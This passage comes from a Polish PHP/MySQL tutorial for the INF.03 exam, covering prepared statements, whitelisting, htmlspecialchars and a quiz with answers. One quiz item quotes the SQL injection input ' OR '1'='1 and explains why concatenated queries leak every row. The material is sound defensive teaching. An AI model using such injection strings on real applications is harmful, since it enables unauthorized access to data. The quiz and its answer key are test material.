nadal było w sesji?<br /><br />Dlaczego właściwość <code class="prettyprint lang-sql" style="font-size: 0.85em;">dataOstatniejAktywnosci</code> ma typ <code class="prettyprint lang-sql" style="font-size: 0.85em;">?string</code>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">login</code> zwykły <code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code>? Wskaż kolumny w <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>, które o tym decydują.<br /><br />Ranking zwraca tablice <code class="prettyprint lang-sql" style="font-size: 0.85em;">['login' => ..., 'xp' => ...]</code>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajUzytkownika()</code> obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code>. Dlaczego ta różnica jest uzasadniona? Skąd ranking bierze poziom gracza, skoro w zapytaniu go nie ma?<br /><br />Bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE uzytkownik_id = ?</code> Ola widzi zadania Kamy (Eksperyment 5). Czy prepared statement chroni przed tym błędem? Czym ten błąd różni się od SQL injection?<br /><br />Przy wyłączonym MySQL <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> pokazuje 19 × <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code>. Czy diagnostyka powinna sprawdzać połączenie z bazą? Podaj argument za i przeciw (wskazówka: zasada z Lekcji 10 i miejsce, w którym są dane dostępowe).</p>
</details>



<h1 id="dodatek" class="wp-block-heading">PODSUMOWANIE LEKCJI</h1>



<h2 class="wp-block-heading">W skrócie</h2>



<p class="wp-block-paragraph">Cztery różne rzeczy, których nie wolno mylić:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$polaczenie   obiekt mysqli            — połączenie z serwerem
$zapytanie    obiekt mysqli_stmt       — przygotowane polecenie (prepare)
$wynik        obiekt mysqli_result     — zbiór wierszy do odczytania
$wiersz       tablica asocjacyjna      — jeden wiersz; null, gdy wierszy już nie ma</code></pre>



<p class="wp-block-paragraph">Metody nie są wymienne: <code class="prettyprint lang-sql" style="font-size: 0.85em;">num_rows</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">fetch_assoc()</code> należą do <strong>wyniku</strong>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">execute()</code> do <strong>zapytania</strong>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">prepare()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">set_charset()</code> do <strong>połączenia</strong>.</p>



<p class="wp-block-paragraph"><strong>SQL:</strong></p>



<ul class="wp-block-list">
<li>Kolejność klauzul jest stała: <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT ... FROM ... WHERE ... ORDER BY ... LIMIT</code>. Zamiana miejscami = błąd składni.</li>



<li>Do <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> tylko <code class="prettyprint lang-sql" style="font-size: 0.85em;">IS NULL</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">IS NOT NULL</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">= NULL</code> zwraca zero wierszy <strong>bez żadnego błędu</strong> — to najtrudniejszy do znalezienia z tych błędów.</li>



<li>Wymieniaj kolumny zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT *</code> — nie przeciągasz do PHP danych, których nie potrzebujesz (np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">haslo_hash</code>).</li>



<li>Zero wierszy to <strong>poprawny wynik</strong>, nie awaria. Awaria to brak połączenia albo błąd składni.</li>
</ul>



<p class="wp-block-paragraph"><strong>Bezpieczeństwo:</strong></p>



<ul class="wp-block-list">
<li>Każda wartość pochodząca z zewnątrz (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code>, cookie, sesja) trafia do zapytania <strong>tylko</strong> przez prepared statement. Sklejanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">"... = '$login'"</code> jest zakazane.</li>



<li>Walidacja to pierwsza linia obrony, nie zabezpieczenie zapytania. Zapytanie ma być bezpieczne samo z siebie.</li>



<li>Przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">:nazwa</code> przekazujesz <strong>wartości</strong>, nigdy nazw tabel, nazw kolumn ani kierunku sortowania. Tam działa wyłącznie <strong>whitelist</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">in_array()</code> + wartość domyślna).</li>



<li>Prepared statement chroni przed SQL injection, ale <strong>nie</strong> przed brakiem <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE uzytkownik_id = ?</code>. Cudze dane pokazane właściwemu zapytaniu to błąd logiki, nie podatności.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code> przy wyświetlaniu — to osobna ochrona (XSS), niezależna od prepared statements.</li>
</ul>



<p class="wp-block-paragraph"><strong>Szczegóły, które zaskakują:</strong></p>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">query()</code> zwraca kolumny <code class="prettyprint lang-sql" style="font-size: 0.85em;">INT</code> jako <strong>teksty</strong>, prepared statement (<code class="prettyprint lang-sql" style="font-size: 0.85em;">get_result()</code>) — jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code>. Daty zawsze jako tekst <code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> przyjmuje <strong>zmienne</strong>, nie wartości: <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param('i', 5)</code> kończy się błędem.</li>



<li>Liczba liter w typach musi być równa liczbie znaków <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code>.</li>



<li>Znaki <code class="prettyprint lang-sql" style="font-size: 0.85em;">%</code> przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">LIKE</code> dodajesz w PHP do zmiennej, nie do tekstu zapytania.</li>



<li>W PDO liczbę wierszy zwróconych przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code> liczymy przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">count($wyniki)</code> po <code class="prettyprint lang-sql" style="font-size: 0.85em;">fetchAll()</code>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">fetch()</code> po ostatnim wierszu zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> (w <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> <code class="prettyprint lang-sql" style="font-size: 0.85em;">fetch_assoc()</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>).</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Co trzeba umieć na INF.03?</h2>



<ul class="wp-block-list">
<li><strong>połączyć skrypt z bazą</strong> na warunkach podanych w arkuszu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">localhost</code>, użytkownik <code class="prettyprint lang-sql" style="font-size: 0.85em;">root</code> bez hasła, wskazana nazwa bazy;</li>



<li><strong>zamknąć połączenie na końcu skryptu</strong> — arkusz wymienia to jako osobne wymaganie wobec skryptów, więc brak zamknięcia to strata punktu, mimo że PHP zamyka połączenie sam;</li>



<li><strong>napisać <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code> z wybranymi kolumnami i warunkiem <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code></strong> (arkusz: „wybierające jedynie pola <code class="prettyprint lang-sql" style="font-size: 0.85em;">idObiekt</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">panstwo</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">nazwa</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">wartoscCechy</code> … dla <code class="prettyprint lang-sql" style="font-size: 0.85em;">idRodzaj = 10</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">idKontynent = 6</code>”) i zapisać zapytania w pliku tekstowym;</li>



<li><strong>wypełnić tabelę HTML wierszami z bazy</strong> — pętla po wyniku, w każdym obrocie jeden <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;tr></code> z komórkami z kolejnych pól;</li>



<li><strong>wypełnić listę rozwijaną danymi z bazy</strong> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;option value="idTurysta">nick&lt;/option></code> dla każdego wiersza;</li>



<li><strong>wygenerować odnośniki z parametrem GET</strong> na podstawie wyniku zapytania (<code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php?idKontynent=6</code>) i <strong>odebrać ten parametr z wartością domyślną</strong>, gdy go nie ma;</li>



<li><strong>rozpoznać w arkuszu tabelę funkcji</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_connect</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_query</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_fetch_row</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_fetch_array</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_num_rows</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_num_fields</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_error</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_close</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">isset</code> i umieć z niej skorzystać.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Minimum, które powinno wejść w pamięć</h2>



<p class="wp-block-paragraph">Jeżeli masz zapamiętać tylko kilka rzeczy z tej lekcji, zapamiętaj te:</p>



<ol class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT kolumny FROM tabela WHERE warunek ORDER BY kolumna LIMIT n</code> — kolejność stała.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">IS NULL</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">IS NOT NULL</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">= NULL</code> zawsze daje zero wierszy i nie zgłasza błędu.</li>



<li>Schemat obiektowy: <code class="prettyprint lang-sql" style="font-size: 0.85em;">new mysqli(...)</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">prepare('... WHERE x = ?')</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param('i', $x)</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">execute()</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">get_result()</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">while ($wiersz = $wynik->fetch_assoc())</code>.</li>



<li>Typy w <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">s</code> tekst, <code class="prettyprint lang-sql" style="font-size: 0.85em;">i</code> liczba całkowita, <code class="prettyprint lang-sql" style="font-size: 0.85em;">d</code> liczba z przecinkiem. Tyle liter, ile znaków <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code>, w tej samej kolejności.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code> zastępuje <strong>wartość</strong>. Nazwa kolumny w <code class="prettyprint lang-sql" style="font-size: 0.85em;">ORDER BY</code> idzie przez whitelistę.</li>



<li>Dane z formularza lub adresu nigdy nie są doklejane do tekstu zapytania.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">fetch_assoc()</code> zwraca kolejny wiersz albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code> — dlatego działa <code class="prettyprint lang-sql" style="font-size: 0.85em;">while ($wiersz = ...)</code>.</li>



<li>Przy wyświetlaniu danych z bazy: <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code>.</li>



<li>Na egzaminie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">localhost</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">root</code>, bez hasła, na końcu zamknięcie połączenia.</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Ściągawka – najważniejsze polecenia i składnia</h2>



<p class="wp-block-paragraph"><strong>Połączenie — obiektowo, błędy jako wyjątki (styl TaskQuest)</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$polaczenie = new mysqli('localhost', 'root', '', 'nazwa_bazy');
$polaczenie-&gt;set_charset('utf8mb4');
// ...
$polaczenie-&gt;close();
</code></pre>



<p class="wp-block-paragraph"><strong>Połączenie — obiektowo, błąd sprawdzany warunkiem (styl z części teoretycznej)</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'nazwa_bazy');
if ($db-&gt;connect_error) { die("Błąd połączenia: {$db-&gt;connect_error}"); }
</code></pre>



<p class="wp-block-paragraph"><strong>Połączenie — PDO</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$pdo = new PDO("mysql:host=localhost;dbname=nazwa_bazy;charset=utf8mb4", 'root', '', &#91;
    PDO::ATTR_ERRMODE            =&gt; PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC,
    PDO::ATTR_EMULATE_PREPARES   =&gt; false,
]);
$pdo = null;   // zamknięcie
</code></pre>



<p class="wp-block-paragraph"><strong>SELECT</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT tytul, termin FROM zadania
WHERE uzytkownik_id = 1 AND data_wykonania IS NULL
ORDER BY termin DESC
LIMIT 10;
</code></pre>



<p class="wp-block-paragraph"><strong>Odczyt wyniku — mysqli</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie = $polaczenie-&gt;prepare('SELECT id, tytul FROM zadania WHERE uzytkownik_id = ?');
$zapytanie-&gt;bind_param('i', $uzytkownikId);
$zapytanie-&gt;execute();
$wynik = $zapytanie-&gt;get_result();

echo $wynik-&gt;num_rows;
while ($wiersz = $wynik-&gt;fetch_assoc()) {
    echo htmlspecialchars($wiersz&#91;'tytul']);
}
$zapytanie-&gt;close();
</code></pre>



<p class="wp-block-paragraph"><strong>Odczyt wyniku — PDO</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$stmt = $pdo-&gt;prepare('SELECT id, tytul FROM zadania WHERE uzytkownik_id = :id');
$stmt-&gt;execute(&#91;'id' =&gt; $uzytkownikId]);

$wiersze = $stmt-&gt;fetchAll();     // wszystkie naraz -&gt; count($wiersze)
$wiersz  = $stmt-&gt;fetch();        // po jednym; false, gdy koniec
</code></pre>



<p class="wp-block-paragraph"><strong>Dwa parametry, LIKE, LIMIT, agregacje</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie = $polaczenie-&gt;prepare('SELECT id FROM zadania WHERE uzytkownik_id = ? AND tytul LIKE ?');
$fraza = '%' . $szukane . '%';                 // % w PHP, nie w SQL
$zapytanie-&gt;bind_param('is', $uzytkownikId, $fraza);
</code></pre>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$stmt-&gt;bindValue(':limit', $limit, PDO::PARAM_INT);   // LIMIT w PDO wymaga typu
</code></pre>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT COUNT(*) AS liczba, SUM(xp) AS suma, AVG(xp) AS srednia, MAX(xp) AS maks
FROM zadania WHERE uzytkownik_id = 1;
</code></pre>



<p class="wp-block-paragraph"><strong>Whitelist dla sortowania</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$sort = $_GET&#91;'sort'] ?? 'xp';
$dozwolone = &#91;'xp', 'login', 'streak'];
if (!in_array($sort, $dozwolone)) { $sort = 'xp'; }
$sql = "SELECT login, xp FROM uzytkownicy ORDER BY {$sort} DESC";
</code></pre>



<p class="wp-block-paragraph"><strong>Mapowanie: zapis obiektowy <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2194.png" alt="↔" class="wp-smiley" style="height: 1em; max-height: 1em;" /> funkcje z arkusza egzaminacyjnego</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Obiektowo</th><th>Proceduralnie (tabela z arkusza)</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">new mysqli($h, $u, $p, $b)</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_connect($h, $u, $p, $b)</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$db-&gt;query($sql)</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_query($db, $sql)</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$wynik-&gt;fetch_assoc()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_fetch_array($wynik)</code></td></tr><tr><td>— (odpowiednik: <code class="prettyprint lang-sql" style="font-size: 0.85em;">fetch_row()</code>)</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_fetch_row($wynik)</code> — tablica numeryczna</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$wynik-&gt;num_rows</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_num_rows($wynik)</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$db-&gt;error</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_error($db)</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$db-&gt;close()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_close($db)</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_fetch_array()</code> domyślnie zwraca klucze i numeryczne, i tekstowe (<code class="prettyprint lang-sql" style="font-size: 0.85em;">MYSQLI_BOTH</code>) — stąd w arkuszu działa zarówno <code class="prettyprint lang-sql" style="font-size: 0.85em;">$w['nazwa']</code>, jak i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$w[1]</code>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Quiz – sprawdź się</h2>



<ol class="wp-block-list">
<li><p>Ile wierszy zwróci każde zapytanie, jeżeli w tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code> są 4 wiersze Kamy (w tym 1 wykonane) i 1 wiersz Oli (niewykonany)?<code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT tytul FROM zadania WHERE uzytkownik_id = 1 AND data_wykonania IS NULL;<br />SELECT tytul FROM zadania WHERE data_wykonania = NULL;<br />SELECT tytul FROM zadania ORDER BY termin LIMIT 2;<br /></code></p></li>



<li><p>Dlaczego to zapytanie nie zadziała i jak je poprawić?<code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT login FROM uzytkownicy ORDER BY xp DESC WHERE xp > 100;<br /></code></p></li>



<li><p>Co jest źle?<code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie = $polaczenie->prepare("SELECT id FROM uzytkownicy WHERE login = '?'");<br />$zapytanie->bind_param('s', $login);<br /></code></p></li>



<li><p>Znajdź dwa błędy:<code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie = $polaczenie->prepare('SELECT id, tytul FROM zadania WHERE uzytkownik_id = ? AND xp > ?');<br />$zapytanie->bind_param('i', $uzytkownikId, $minimumXp);<br />$zapytanie->execute();<br />while ($wiersz = $zapytanie->fetch_assoc()) { echo $wiersz['tytul']; }<br /></code></p></li>



<li><p>Co wypisze ten kod, jeżeli zapytanie zwróci 3 wiersze?<code class="prettyprint lang-sql" style="font-size: 0.85em;">$wynik = $polaczenie->query('SELECT login FROM uzytkownicy');<br />$ile = 0;<br />while ($wiersz = $wynik->fetch_assoc()) { $ile++; }<br />echo $ile + $wynik->num_rows;<br /></code></p></li>



<li><p>Użytkownik wpisuje w wyszukiwarkę <code class="prettyprint lang-sql" style="font-size: 0.85em;">' OR '1'='1</code>. Wersja A używa <code class="prettyprint lang-sql" style="font-size: 0.85em;">query()</code> ze sklejonym tekstem, wersja B prepared statement. Ile wierszy zwróci każda i dlaczego?</p></li>



<li><p>Uzupełnij tak, aby znaleźć zadania użytkownika o <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> = 3, których tytuł zawiera słowo wpisane w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$szukane</code>:<code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie = $polaczenie->prepare('SELECT tytul FROM zadania WHERE uzytkownik_id = ? AND tytul LIKE ?');<br />$fraza = ______________;<br />$zapytanie->bind_param(______, $id, $fraza);<br /></code></p></li>



<li><p>Kolega chce pozwolić użytkownikowi wybrać kolumnę sortowania i pisze:<code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie = $polaczenie->prepare('SELECT login, xp FROM uzytkownicy ORDER BY ?');<br />$zapytanie->bind_param('s', $_GET['sort']);<br /></code>Czy to jest bezpieczne? Czy to zadziała? Jak zrobić to poprawnie?</p></li>



<li><p>Ten sam wiersz odczytany raz przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">query()</code>, raz przez prepared statement. Co pokaże <code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump($wiersz['xp'])</code> w każdym przypadku i skąd ta różnica?</p></li>



<li><p><code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajUzytkownika($polaczenie, 7)</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>, bo użytkownika o takim <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> nie ma. Czy skrypt powinien rzucić wyjątek? Uzasadnij.</p></li>



<li><p>Który fragment jest niebezpieczny i jaki to typ podatności?<code class="prettyprint lang-sql" style="font-size: 0.85em;">// A<br />$stmt = $polaczenie->prepare('SELECT imie FROM uzytkownicy WHERE id = ?');<br />$stmt->bind_param('i', $id);<br />$stmt->execute();<br />$wiersz = $stmt->get_result()->fetch_assoc();<br />echo "Cześć, {$wiersz['imie']}!";<br /><br />// B<br />$imie = $_POST['imie'];<br />echo "Cześć, " . htmlspecialchars($imie) . "!";<br /></code></p></li>



<li><p>Zadanie praktyczne (schemat egzaminacyjny). Napisz skrypt, który: łączy się z bazą <code class="prettyprint lang-sql" style="font-size: 0.85em;">wodospady</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">localhost</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">root</code>, bez hasła), pobiera <code class="prettyprint lang-sql" style="font-size: 0.85em;">idObiekt</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">panstwo</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">nazwa</code> z tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">obiekty</code> dla <code class="prettyprint lang-sql" style="font-size: 0.85em;">idKontynent</code> przesłanego metodą GET (domyślnie <code class="prettyprint lang-sql" style="font-size: 0.85em;">6</code>), wypisuje każdy rekord jako wiersz tabeli HTML i na końcu zamyka połączenie. Wypisz sam szkielet PHP, bez stylów.</p></li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>Odpowiedzi</strong></summary>
<ol class="wp-block-list">
<li><p>3 wiersze; <strong>0 wierszy</strong> (mimo że niewykonane zadania istnieją — <code class="prettyprint lang-sql" style="font-size: 0.85em;">= NULL</code> nigdy nie jest prawdą); 2 wiersze.</p></li>



<li><p>Zła kolejność klauzul. Poprawnie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT login FROM uzytkownicy WHERE xp > 100 ORDER BY xp DESC;</code></p></li>



<li><p><code class="prettyprint lang-sql" style="font-size: 0.85em;">'?'</code> w apostrofach to zwykły tekst, a nie parametr. Zapytanie ma zero parametrów, więc <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> zgłosi błąd o niezgodnej liczbie parametrów. Poprawnie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE login = ?</code>.</p></li>



<li><p>(a) Typy: dwa znaki <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code>, a tylko jedna litera — powinno być <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param('ii', $uzytkownikId, $minimumXp)</code>. (b) <code class="prettyprint lang-sql" style="font-size: 0.85em;">fetch_assoc()</code> wywołane na zapytaniu zamiast na wyniku — brakuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wynik = $zapytanie->get_result();</code> i pętli po <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wynik</code>.</p></li>



<li><p><code class="prettyprint lang-sql" style="font-size: 0.85em;">6</code>. Pętla odczytała 3 wiersze, więc <code class="prettyprint lang-sql" style="font-size: 0.85em;">$ile</code> wynosi 3. <code class="prettyprint lang-sql" style="font-size: 0.85em;">num_rows</code> to liczba wierszy w wyniku i <strong>nie zmniejsza się</strong> w miarę odczytywania — nadal 3. Razem 6.</p></li>



<li><p>Wersja A zwróci <strong>wszystkie</strong> wiersze — tekst użytkownika stał się częścią polecenia i warunek <code class="prettyprint lang-sql" style="font-size: 0.85em;">'1'='1'</code> jest zawsze prawdziwy (SQL injection). Wersja B zwróci <strong>0</strong> — baza porówna to jako zwykły tekst, czyli poszuka nazwy dosłownie brzmiącej <code class="prettyprint lang-sql" style="font-size: 0.85em;">' OR '1'='1</code>.</p></li>



<li><p><code class="prettyprint lang-sql" style="font-size: 0.85em;">$fraza = '%' . $szukane . '%';</code> oraz <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param('is', $id, $fraza)</code>.</p></li>



<li><p>Zadziała bez błędu, ale <strong>nie posortuje</strong> — parametr zostanie wstawiony jako wartość tekstowa, czyli sortowanie odbędzie się po stałym tekście. Przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code> przekazujemy tylko wartości. Poprawnie: whitelist (<code class="prettyprint lang-sql" style="font-size: 0.85em;">in_array()</code> + wartość domyślna) i wstawienie nazwy kolumny do tekstu zapytania.</p></li>



<li><p>Po <code class="prettyprint lang-sql" style="font-size: 0.85em;">query()</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">string(2) "99"</code>. Po prepared statement z <code class="prettyprint lang-sql" style="font-size: 0.85em;">get_result()</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(99)</code>. Prepared statements przesyłają wynik protokołem binarnym i <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> zamienia kolumny <code class="prettyprint lang-sql" style="font-size: 0.85em;">INT</code> na PHP-owe <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code>.</p></li>



<li><p>Nie. Brak wiersza to normalny wynik zapytania, nie awaria — funkcja zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>, a kod wywołujący decyduje, co z tym zrobić (np. wylogowanie i komunikat). Wyjątek zostaw na sytuacje, w których nie da się wykonać zapytania: brak połączenia, błąd SQL.</p></li>



<li><p>Fragment <strong>A</strong>. Zapytanie jest bezpieczne (prepared statement), ale imię pobrane z bazy trafia do HTML bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code> — jeżeli ktoś wcześniej zapisał do bazy <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;script></code>, dostajemy XSS. Baza nie jest źródłem „zaufanych” danych. Fragment B jest poprawny.</p></li>



